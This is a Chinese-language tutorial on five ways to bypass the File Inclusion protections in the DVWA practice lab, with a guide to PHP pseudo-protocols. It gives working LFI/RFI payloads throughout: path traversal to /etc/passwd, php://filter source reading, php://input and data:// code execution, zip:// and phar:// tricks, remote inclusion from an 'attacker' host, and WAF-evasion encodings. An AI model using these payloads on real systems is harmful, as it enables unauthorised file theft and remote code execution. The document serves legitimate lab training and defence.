DVWA靶场实战5种绕过File Inclusion防护的骚操作附PHP伪协议详解在Web安全领域文件包含漏洞File Inclusion始终是渗透测试中的重点攻击向量。DVWADamn Vulnerable Web Application作为经典的漏洞演练平台其File Inclusion模块完美模拟了从基础到高级的各种防护场景。本文将深入剖析5种突破medium/high级别防护的实战技巧并附赠PHP伪协议的完整攻防指南。1. 文件包含漏洞核心原理与DVWA环境分析文件包含漏洞的本质是应用程序未对用户控制的文件路径参数进行严格过滤导致攻击者能够包含并执行非预期的文件。在DVWA靶场中该漏洞通过page参数展现// Low级别典型漏洞代码 $file $_GET[page]; include($file);这种原始实现存在三大致命缺陷无任何输入验证机制允许目录遍历符号../未限制文件协议类型漏洞利用效果对比表攻击类型危害等级典型Payload可能造成的后果本地文件包含★★★★☆?page../../etc/passwd敏感信息泄露远程文件包含★★★★★?pagehttp://attacker/shell远程代码执行日志文件注入★★★☆☆?page/var/log/apache2/access.log通过日志污染执行代码PHP伪协议利用★★★★☆?pagephp://filter/convert.base64-encode/resourceconfig.php读取源码Phar反序列化★★★★☆?pagephar://uploads/exploit.phar触发反序列化漏洞提示实际渗透测试中往往需要组合多种技术才能突破现代WAF的防护2. 突破Medium级别防护的三种奇技DVWA的Medium级别通过基础过滤试图阻断常见攻击// Medium级别防护代码 $file str_replace([../, ..\\], , $_GET[page]); $file str_replace([http://, https://], , $file);2.1 绝对路径直接注入当靶机文件系统结构已知时完全绕过路径遍历过滤http://target/vuln.php?pageD:/xampp/htdocs/config.phpWindows系统常见敏感路径C:\Windows\System32\drivers\etc\hostsD:\xampp\apache\conf\httpd.confC:\xampp\mysql\data\mysql\user.MYD2.2 双写混淆绕过利用str_replace的单一替换特性原始../../etc/passwd 绕过..././..././etc/passwd2.3 URL编码变体攻击PHP会自动解码URL编码字符..%2F..%2Fetc%2Fpasswd → ../../etc/passwd http%3A%2F%2Fattacker%2Fshell → http://attacker/shell3. 攻克High级别防护的两种高阶手法High级别采用白名单前缀校验// High级别防护代码 if(!fnmatch(file*, $file) $file ! include.php) { die(ERROR: File not found!); }3.1 file伪协议利用绕过前缀检查的同时读取任意文件?pagefile:///etc/passwd ?pagefile://D:/xampp/htdocs/config.php文件协议利用要点协议头必须小写Windows路径需转换格式D:\ → D:/可结合目录遍历file:///var/www/../etc/passwd3.2 临时文件竞争攻击当存在文件上传点时结合伪协议实现RCE# 上传含恶意代码的临时文件 ?pagephp://filter/convert.quoted-printable-encode/resourcedata://,%3C?phpsystem($_GET[cmd])?%3E4. PHP伪协议深度攻防手册PHP内置的伪协议在文件包含漏洞中扮演着重要角色下表展示各协议的攻防特性协议类型典型利用场景必要配置防御措施php://inputPOST数据代码执行allow_url_include禁用该协议php://filter源码读取/编码转换无特殊要求过滤协议头data://直接执行嵌入代码allow_url_include关闭data流包装器phar://反序列化攻击无特殊要求禁用phar扩展zip://绕过文件上传限制无特殊要求校验压缩包内容glob://目录枚举无特殊要求限制目录访问权限经典利用案例# 读取PHP文件源码Base64编码 ?pagephp://filter/convert.base64-encode/resourceindex.php # 执行系统命令需allow_url_includeOn ?pagephp://input POST数据?php system(id);? # 包含ZIP中的PHP文件 ?pagezip://malicious.zip%23shell.php5. 现代WAF绕过实战技巧面对Cloudflare等现代WAF需要更精细的绕过技术5.1 分块编码传输GET /vuln.php?pagephp://filter/ HTTP/1.1 Transfer-Encoding: chunked 3 con 5 vert. 7 base64 3 -enc ...5.2 协议头混淆?pagePHP://FilTer/convert.base64-encode/resourceindex ?pagepHp://inputcommand5.3 非常用端口绕过# 使用非标准端口进行RFI ?pagehttp://attacker:8080/shell.txt防御方案对比防护层级传统方案增强方案绕过难度输入验证黑名单过滤白名单正则校验★★★★☆文件处理禁用危险函数使用safe_include封装★★★★★系统配置关闭allow_url_include配置open_basedir限制访问范围★★★★☆运行监控错误日志分析实时检测异常文件包含行为★★★★★在实战渗透测试中成功的文件包含漏洞利用往往需要结合目标环境特点灵活组合多种技术手段。建议安全研究人员在合法授权范围内通过DVWA等靶场环境持续磨练攻防技巧。